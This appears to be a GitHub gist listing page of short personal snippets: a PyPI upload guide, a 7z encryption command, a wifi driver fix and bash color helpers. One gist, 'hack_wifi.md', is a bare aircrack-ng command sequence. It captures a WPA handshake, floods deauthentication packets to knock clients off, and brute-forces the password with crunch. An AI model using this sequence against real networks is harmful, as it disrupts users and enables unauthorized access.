Skip to content

Instantly share code, notes, and snippets.

View NearHuscarl's full-sized avatar
🏚️

Near Huscarl NearHuscarl

🏚️
View GitHub Profile
@NearHuscarl
NearHuscarl / _pypi_guide.md
Last active December 12, 2018 00:59
how to upload python package to pypi and host on github

Requirements

  • python
  • detox (pip)
  • pyenv (AUR)
  • virtualenvwrapper (pacman)
  • setuptools (optional)
  • pandoc (pacman)
  • twine (pacman)

Setup

@NearHuscarl
NearHuscarl / 7z_encryption.md
Last active February 2, 2018 06:16
7z option for highest encryption when use with password

Command:

7z a -t7z -m0=lzma2 -mx=9 -mfb=64 -md=32m -ms=on -mhe=on -p dir.7z dir

Explanation:

a                   Add (dir1 to archive.7z)
-t7z                Use a 7z archive
-m0=lzma2 Use lzma2 method
@NearHuscarl
NearHuscarl / fix_weak_wifi.md
Created February 2, 2018 05:17
Fix wifi signal very weak or not working on some wireless driver

Credit

Get network drive name

$ inxi -n

Unload the module and try the first parameter option

$ sudo modprobe -r rtl8723be
$ sudo modprobe rtl8723be ant_sel=1
@NearHuscarl
NearHuscarl / hack_wifi.md
Last active December 22, 2017 06:49
NMMMT TH6
iwconfig
ifconfig wlan0 up
airmon-ng start wlan0
airodump-ng wlan0mon
airodump-ng -c CHANNEL -w FILENAME --bssid BSSID wlan0mon
aireplay-ng -0 0 -a BSSID wlan0mon
crunch 9 9 0123456789 -t  1231%%%%% | aircrack-ng -w- FILENAME --bssid BSSID
airmon-ng stop wlan0mon
@NearHuscarl
NearHuscarl / Color.py
Last active December 7, 2017 08:19
print string with color using escape code for bash
#!/bin/env python
def cprint(string, color):
""" print string with escape code for bash color """
color_code = {
'black': '\x1b[30m',
'red': '\x1b[31m',
'green': '\x1b[32m',
'yellow': '\x1b[33m',
@NearHuscarl
NearHuscarl / bash-colors.md
Created September 4, 2017 17:10 — forked from iamnewton/bash-colors.md
The entire table of ANSI color codes.

Regular Colors

Value Color
\e[0;30m Black
\e[0;31m Red
\e[0;32m Green
\e[0;33m Yellow
\e[0;34m Blue
\e[0;35m Purple